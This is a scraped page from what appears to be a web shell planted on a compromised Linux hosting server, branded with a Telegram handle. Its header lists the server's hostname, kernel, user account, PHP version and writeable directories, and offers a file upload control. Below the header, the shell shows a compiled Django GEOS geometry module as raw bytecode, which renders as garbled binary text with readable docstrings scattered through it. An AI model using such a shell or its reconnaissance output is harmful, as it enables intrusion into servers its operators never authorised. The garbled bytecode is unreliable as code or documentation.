https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/gis/geos/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/gis/geos/geometry.pyc
�
r�\c@s
dZddlmZddlmZmZmZddlmZddl	m
Z
ddlmZddl
mZmZddlmZdd	lmZmZdd
lmZmZddl	m
Z
ddlmZddlmZmZmZmZm Z dd
l!m"Z"m#Z#m$Z$ddl%m&Z&ddl'm(Z(m)Z)dee
fd��YZ*ddl+m,Z,m-Z-ddl.m/Z/ddl0m1Z1ddl2m3Z3m4Z4m5Z5m6Z6ie/d6e,d6e-d6e1d6e4d6e5d6e6d6e3d6Z7erddl8m9Z9ndS( uh
 This module contains the 'base' GEOSGeometry object -- all GEOS Geometries
 inherit from this object.
i����(tunicode_literals(t	addressoftbyreftc_double(t
memoryview(t	ListMixin(tSRSException(tGEOSBasetgdal(tGEOSCoordSeq(t
GEOSExceptiontGEOSIndexError(tGEOM_PTRtGEOS_PREPARE(t
prototypes(twkt_rtwkt_wtwkb_rtwkb_wtewkb_w(t	hex_regext	wkt_regext
json_regex(tsix(tforce_bytest
force_texttGEOSGeometrycBs�eZdZeZeZdRd�Zd�Z	d�Z
d�Zd�Zd�Z
d�Zd�Zd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zed��Zd�Zed��Zed��Zed��Zed��Zed��Zed��Zed��Z d�Z!ed��Z"ed��Z#ed��Z$ed��Z%ed��Z&ed��Z'd �Z(d!�Z)d"�Z*d#�Z+d$d%�Z,d&�Z-d'�Z.d(�Z/d)�Z0d*�Z1d+�Z2d,�Z3ee2e3�Z4ed-��Z5ed.��Z6ed/��Z7ed0��Z8ed1��Z9e9Z:ed2��Z;ed3��Z<ed4��Z=ed5��Z>ed6��Z?ed7��Z@ed8��ZAeBd9�ZCd:�ZDed;��ZEd<d=�ZFed>��ZGed?��ZHd@�ZIedA��ZJdB�ZKdC�ZLdD�ZMedE��ZNdF�ZOdG�ZPdH�ZQdIeBdJ�ZRdK�ZSdL�ZTedM��ZUdN�ZVedO��ZWedP��ZXdQ�ZYRS(Su6A class that, generally, encapsulates a GEOS geometry.cCs�t|t�rt|�}nt|tj�rtj|�}|r�|jd�rlt|jd��}nt	�j
t|jd���}q~tj|�r�t
�j
t|��}q~tjr�tj|�r�t
�j
tj|�j�}q~td��n|t|t�r|}ndt|t�r>t
�j
|�}n@t|t�rbtj|j�}ntdtt|����t|�r�||_ntd��|j|�dS(u�
        The base constructor for GEOS geometry objects, and may take the
        following inputs:

         * strings:
            - WKT
            - HEXEWKB (a PostGIS-specific canonical form)
            - GeoJSON (requires GDAL)
         * buffer:
            - WKB

        The `srid` keyword is used to specify the Source Reference Identifier
        (SRID) number for this Geometry.  If not set, the SRID will be None.
        usriduwktu>String or unicode input unrecognized as WKT EWKT, and HEXEWKB.u Improper geometry input type: %su4Could not initialize GEOS Geometry with given input.N( t
isinstancetbytesRRtstring_typesRtmatchtgrouptintRtreadRRRRtHAS_GDALRtOGRGeometrytwkbt
ValueErrorRRRtcapit
geom_clonetptrt	TypeErrortstrttypetboolR
t
_post_init(tselft	geo_inputtsridtwkt_mtg((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__init__1s0$!	cCs?|r!t|t�r!||_nt|j|_|j�dS(u8Helper routine for performing post-initialization setup.N(RR R0tGEOS_CLASSEStgeom_typeidt	__class__t_set_cs(R.R0((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR-escCs |jrtj|j�ndS(uo
        Destroys this Geometry; in other words, frees the memory used by the
        GEOS C++ object.
        N(t_ptrR&tdestroy_geom(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__del__qs	cCs
|j�S(u�
        Returns a clone because the copy of a GEOSGeometry may contain an
        invalid pointer location if the original is garbage collected.
        (tclone(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__copy__xscCs
|j�S(u�
        The `deepcopy` routine is used by the `Node` class of django.utils.tree;
        thus, the protocol routine needs to be implemented to return correct
        copies (clones) of these GEOS objects, which use C pointers.
        (R;(R.tmemodict((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__deepcopy__scCs|jS(u*WKT is used for the string representation.(twkt(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__str__�scCs d|jtt|j��fS(u8Short-hand representation because WKT may be very large.u<%s object at %s>(t	geom_typethexRR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__repr__�scCst|j�|jfS(N(RR$R0(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__getstate__�scCsS|\}}t�jt|��}|s9td��n||_|j|�dS(Nu+Invalid Geometry loaded from pickled state.(RR!RR
R(R-(R.tstateR$R0R(((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__setstate__�s	cCsCt|tj�r|j|kSt|t�r;|j|�StSdS(ux
        Equivalence testing, a Geometry may be compared with another Geometry
        or a WKT representation.
        N(RRRR?Rtequals_exacttFalse(R.tother((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__eq__�s


cCs||kS(uThe not equals operator.((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__ne__�scCs
|j|�S(u1Returns the union of this Geometry and the other.(tunion(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__or__�scCs
|j|�S(u8Returns the intersection of this Geometry and the other.(tintersection(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__and__�scCs
|j|�S(u2Return the difference this Geometry and the other.(t
difference(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__sub__�scCs
|j|�S(u?Return the symmetric difference of this Geometry and the other.(tsym_difference(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt__xor__�scCs$t|tttf�rtStSdS(uFReturns True if this Geometry has a coordinate sequence, False if not.N(RtPointt
LineStringt
LinearRingtTrueRH(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pythas_cs�scCs:|jr-ttj|j�|j�|_n	d|_dS(u/Sets the coordinate sequence for this Geometry.N(RXR	R&tget_csR(thaszt_cstNone(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR7�s	$cCs|jr|jj�SdS(u=Returns a clone of the coordinate sequence for this Geometry.N(RXR[R;(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt	coord_seq�s	cCstj|j�j�S(u?Returns a string representing the Geometry type, e.g. 'Polygon'(R&t	geos_typeR(tdecode(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRA�scCstj|j�S(u2Returns an integer representing the Geometry type.(R&tgeos_typeidR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR5�scCstj|j�S(u1Returns the number of geometries in the Geometry.(R&t
get_num_geomsR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytnum_geom�scCstj|j�S(u2Returns the number of coordinates in the Geometry.(R&tget_num_coordsR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt
num_coords�scCs|jS(u;Returns the number points, or coordinates, in the Geometry.(Rd(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt
num_points�scCstj|j�S(uDReturns the dimension of this Geometry (0=point, 1=line, 2=surface).(R&tget_dimsR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytdims�scCstj|j�S(u:Converts this Geometry to normal form (or canonical form).(R&tgeos_normalizeR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt	normalize�scCstj|j�S(ul
        Returns a boolean indicating whether the set of points in this Geometry
        are empty.
        (R&tgeos_isemptyR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytemptyscCstj|j�S(u0Returns whether the geometry has a 3D dimension.(R&t	geos_haszR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRZscCstj|j�S(u.Returns whether or not the geometry is a ring.(R&tgeos_isringR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytring
scCstj|j�S(u)Returns false if the Geometry not simple.(R&t
geos_issimpleR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytsimplescCstj|j�S(u2This property tests the validity of this Geometry.(R&tgeos_isvalidR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytvalidscCs+tstd��ntj|j�j�S(uL
        Returns a string containing the reason for any invalidity.
        u+Upgrade GEOS to 3.1 to get validity reason.(R
R
R&tgeos_isvalidreasonR(R_(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytvalid_reasonscCstj|j|j�S(u0Returns true if other.within(this) returns true.(R&t
geos_containsR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytcontains&scCstj|j|j�S(u�
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*T****** (for a point and a curve,a point and an area or a line and
        an area) 0******** (for two curves).
        (R&tgeos_crossesR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytcrosses*scCstj|j|j�S(um
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is FF*FF****.
        (R&t
geos_disjointR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytdisjoint2scCstj|j|j�S(um
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*F**FFF*.
        (R&tgeos_equalsR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytequals9sicCstj|j|jt|��S(ul
        Returns true if the two Geometries are exactly equal, up to a
        specified tolerance.
        (R&tgeos_equalsexactR(tfloat(R.RIt	tolerance((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRG@scCstj|j|j�S(u'Returns true if disjoint returns false.(R&tgeos_intersectsR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt
intersectsGscCstj|j|j�S(u�
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*T***T** (for two points or two surfaces) 1*T***T** (for two curves).
        (R&t
geos_overlapsR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytoverlapsKscCsSt|tj�s%t|�dkr4td��ntj|j|jt|��S(u�
        Returns true if the elements in the DE-9IM intersection matrix for the
        two Geometries match the elements in pattern.
        i	u#invalid intersection matrix pattern(	RRRtlenR
R&tgeos_relatepatternR(R(R.RItpattern((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytrelate_patternRs%cCstj|j|j�S(u�
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is FT*******, F**T***** or F***T****.
        (R&tgeos_touchesR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyttouches[scCstj|j|j�S(um
        Returns true if the DE-9IM intersection matrix for the two Geometries
        is T*F**F***.
        (R&tgeos_withinR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytwithinbscCs*tj|j�}|dkr"dS|SdS(u?Gets the SRID for the geometry, returns None if no SRID is set.iN(R&t
geos_get_sridR(R\(R.ts((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytget_sridjscCstj|j|�dS(uSets the SRID for the geometry.N(R&t
geos_set_sridR((R.R0((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytset_sridpscCs+|j�r d|j|jfS|jSdS(u�
        Returns the EWKT (WKT + SRID) of the Geometry.  Note that Z values
        are *not* included in this representation because GEOS does not yet
        support serializing them.
        u
SRID=%s;%sN(R�R0R?(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytewktvscCs(t|jrdnd�j|�j�S(uBReturns the WKT (Well-Known Text) representation of this Geometry.ii(RRZtwriteR_(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR?�scCs"t|jrdnd�j|�S(u�
        Returns the WKB of this Geometry in hexadecimal form.  Please note
        that the SRID is not included in this representation because it is not
        a part of the OGC specification (use the `hexewkb` property instead).
        ii(RRZt	write_hex(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRB�s	cCsA|jrtrtd��nt|jr1dnd�j|�S(u�
        Returns the EWKB of this Geometry in hexadecimal form.  This is an
        extension of the WKB specification that includes SRID value that are
        a part of this geometry.
        u,Upgrade GEOS to 3.1 to get valid 3D HEXEWKB.ii(RZR
R
RR�(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pythexewkb�scCs#tjr|jjStd��dS(uW
        Returns GeoJSON representation of this Geometry if GDAL is installed.
        u5GeoJSON output only supported when GDAL is installed.N(RR"togrtjsonR
(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR��s	
cCs"t|jrdnd�j|�S(u�
        Returns the WKB (Well-Known Binary) representation of this Geometry
        as a Python buffer.  SRID and Z values are not included, use the
        `ewkb` property instead.
        ii(RRZR�(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR$�scCsA|jrtrtd��nt|jr1dnd�j|�S(u�
        Return the EWKB representation of this Geometry as a Python buffer.
        This is an extension of the WKB specification that includes any SRID
        value that are a part of this geometry.
        u)Upgrade GEOS to 3.1 to get valid 3D EWKB.ii(RZR
R
RR�(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytewkb�scCs |j}d||jj|fS(u0Returns the KML representation of this Geometry.u<%s>%s</%s>(RAR]tkml(R.tgtype((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR��s	cCs trt|�Std��dS(u�
        Returns a PreparedGeometry corresponding to this geometry -- it is
        optimized for the contains, intersects, and covers operations.
        u1GEOS 3.1+ required for prepared geometry support.N(R
tPreparedGeometryR
(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytprepared�s
cCsbtjstd��n|jrRytj|j|j�SWqRtk
rNqRXntj|j�S(u+Returns the OGR Geometry for this Geometry.u+GDAL required to convert to an OGRGeometry.(RR"R
R0R#R$R(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR��s		
cCsPtjstd��n|jrLytj|j�SWqLtk
rHqLXndS(u;Returns the OSR SpatialReference for SRID of this Geometry.u2GDAL required to return a SpatialReference object.N(RR"R
R0tSpatialReferenceRR\(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytsrs�s		
cCs|jS(uAlias for `srs` property.(R�(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytcrs�scCs�|j}||kr,|r%|j�SdSn|dksD|dkrStd��ntjsktd��n|j}|j|�t�j	|j
�}|r�t|d|j�S|r�tj
|j�||_|j|j�ntd��dS(u�
        Requires GDAL. Transforms the geometry according to the given
        transformation object, which may be an integer SRID, and WKT or
        PROJ.4 string. By default, the geometry is transformed in-place and
        nothing is returned. However if the `clone` keyword is set, then this
        geometry will not be modified and a transformed clone will be returned
        instead.
        Niu5Calling transform() with no SRID set is not supportedu6GDAL library is not available to transform() geometry.R0uTransformed WKB was invalid.(R0R;R\R
RR"R�t	transformRR!R$RR&R9R(R-(R.tctR;R0R2R(((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR��s&		
		
	cCst|d|j�S(u9Helper routine to return Geometry from the given pointer.R0(RR0(R.tgptr((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt	_topologyscCs|jtj|j��S(u:Returns the boundary as a newly allocated Geometry object.(R�R&t
geos_boundaryR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytboundarysicCs|jtj|j||��S(u�
        Returns a geometry that represents all points whose distance from this
        Geometry is less than or equal to distance. Calculations are in the
        Spatial Reference System of this Geometry. The optional third parameter sets
        the number of segment used to approximate a quarter circle (defaults to 8).
        (Text from PostGIS documentation at ch. 6.1.3)
        (R�R&tgeos_bufferR((R.twidthtquadsegs((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytbufferscCs|jtj|j��S(u�
        The centroid is equal to the centroid of the set of component Geometries
        of highest dimension (since the lower-dimension geometries contribute zero
        "weight" to the centroid).
        (R�R&t
geos_centroidR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytcentroid(scCs|jtj|j��S(uk
        Returns the smallest convex Polygon that contains all the points
        in the Geometry.
        (R�R&tgeos_convexhullR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytconvex_hull1scCs|jtj|j|j��S(uw
        Returns a Geometry representing the points making up this Geometry
        that do not make up other.
        (R�R&tgeos_differenceR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRP9scCs|jtj|j��S(u2Return the envelope for this geometry (a polygon).(R�R&t
geos_envelopeR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytenvelope@scCs^t|ttf�s$td��nttd�sBtd��n|jtj|j	|��S(NuCinterpolate only works on LineString and MultiLineString geometriesugeos_interpolateuinterpolate requires GEOS 3.2+(
RRUtMultiLineStringR)thasattrR&tNotImplementedErrorR�tgeos_interpolateR((R.tdistance((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytinterpolateEs
cCs^t|ttf�s$td��nttd�sBtd��n|jtj|j	|��S(NuCinterpolate only works on LineString and MultiLineString geometriesugeos_interpolate_normalizedu)interpolate_normalized requires GEOS 3.2+(
RRUR�R)R�R&R�R�tgeos_interpolate_normalizedR((R.R�((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytinterpolate_normalizedLs
cCs|jtj|j|j��S(uMReturns a Geometry representing the points shared by this Geometry and other.(R�R&tgeos_intersectionR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRNSscCs|jtj|j��S(u,Computes an interior point of this Geometry.(R�R&tgeos_pointonsurfaceR((R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytpoint_on_surfaceWscCsvt|t�std��nt|ttf�sBtd��nttd�s`td��ntj|j	|j	�S(Nu%locate_point argument must be a PointuDlocate_point only works on LineString and MultiLineString geometriesugeos_projectugeos_project requires GEOS 3.2+(
RRTR)RUR�R�R&R�tgeos_projectR((R.tpoint((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytproject\scCsvt|t�std��nt|ttf�sBtd��nttd�s`td��ntj|j	|j	�S(Nu%locate_point argument must be a PointuDlocate_point only works on LineString and MultiLineString geometriesugeos_project_normalizedu%project_normalized requires GEOS 3.2+(
RRTR)RUR�R�R&R�tgeos_project_normalizedR((R.R�((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytproject_normalizedescCstj|j|j�j�S(uGReturns the DE-9IM intersection matrix for this Geometry and the other.(R&tgeos_relateR(R_(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytrelatensgcCsB|r"|jtj|j|��S|jtj|j|��SdS(u4
        Returns the Geometry, simplified using the Douglas-Peucker algorithm
        to the specified tolerance (higher tolerance => less points).  If no
        tolerance provided, defaults to 0.

        By default, this function does not preserve topology - e.g. polygons can
        be split, collapse to lines or disappear holes can be created or
        disappear, and lines can cross. By specifying preserve_topology=True,
        the result will have the same dimension and number of components as the
        input. This is significantly slower.
        N(R�R&tgeos_preservesimplifyR(t
geos_simplify(R.Rtpreserve_topology((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytsimplifyrscCs|jtj|j|j��S(u�
        Returns a set combining the points in this Geometry not in other,
        and the points in other not in this Geometry.
        (R�R&tgeos_symdifferenceR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRR�scCs|jtj|j|j��S(uJReturns a Geometry representing all the points in this Geometry and other.(R�R&t
geos_unionR((R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyRL�scCstj|jtt���S(u!Returns the area of the Geometry.(R&t	geos_areaR(RR(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytarea�scCs@t|t�std��ntj|j|jtt���S(u�
        Returns the distance between the closest points on this Geometry
        and the other. Units will be in those of the coordinate system of
        the Geometry.
        u/distance() works only on other GEOS Geometries.(RRR)R&t
geos_distanceR(RR(R.RI((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR��scCso|j}t|t�r7|j\}}||}}n(|dd\}}|dd\}}||||fS(us
        Returns the extent of this geometry as a 4-tuple, consisting of
        (xmin, ymin, xmax, ymax).
        ii(R�RRTttuple(R.tenvtxmintymintxmaxtymax((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytextent�s	cCstj|jtt���S(ut
        Returns the length of this Geometry (e.g., 0 for point, or the
        circumfrence of a Polygon).
        (R&tgeos_lengthR(RR(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pytlength�scCsttj|j�d|j�S(uClones this Geometry.R0(RR&R'R(R0(R.((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR;�sN(Zt__name__t
__module__t__doc__Rt_IndexErrorRtptr_typeR\R3R-R:R<R>R@RCRDRFRJRKRMRORQRStpropertyRXR7R]RAR5RbRdReRgRiRkRZRnRpRrRtRvRxRzR|RGR�R�R�R�R�R�R�R0R�R?RBR�R�tgeojsonR$R�R�R�R�R�R�RHR�R�R�R�R�R�RPR�R�R�RNR�R�R�R�R�RRRLR�R�R�R�R;(((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyR's�4																		
												
		*	
													
(RURV(RT(tPolygon(tGeometryCollectiont
MultiPointR�tMultiPolygoniiiiiiii(R�N(:R�t
__future__RtctypesRRRtdjango.contrib.gisRt$django.contrib.gis.geos.mutable_listRtdjango.contrib.gis.gdal.errorRtdjango.contrib.gis.geos.baseRRt django.contrib.gis.geos.coordseqR	tdjango.contrib.gis.geos.errorR
Rtdjango.contrib.gis.geos.libgeosRR
tdjango.contrib.gis.geosRR&t%django.contrib.gis.geos.prototypes.ioRRRRRt!django.contrib.gis.geometry.regexRRRtdjango.utilsRtdjango.utils.encodingRRRt"django.contrib.gis.geos.linestringRURVtdjango.contrib.gis.geos.pointRTtdjango.contrib.gis.geos.polygonR�t#django.contrib.gis.geos.collectionsR�R�R�R�R4t django.contrib.gis.geos.preparedR�(((sB/tmp/pip-install-XxeQeY/django/django/contrib/gis/geos/geometry.pyt<module>s@(���"



https://t.me/AnonymousX5 - 2025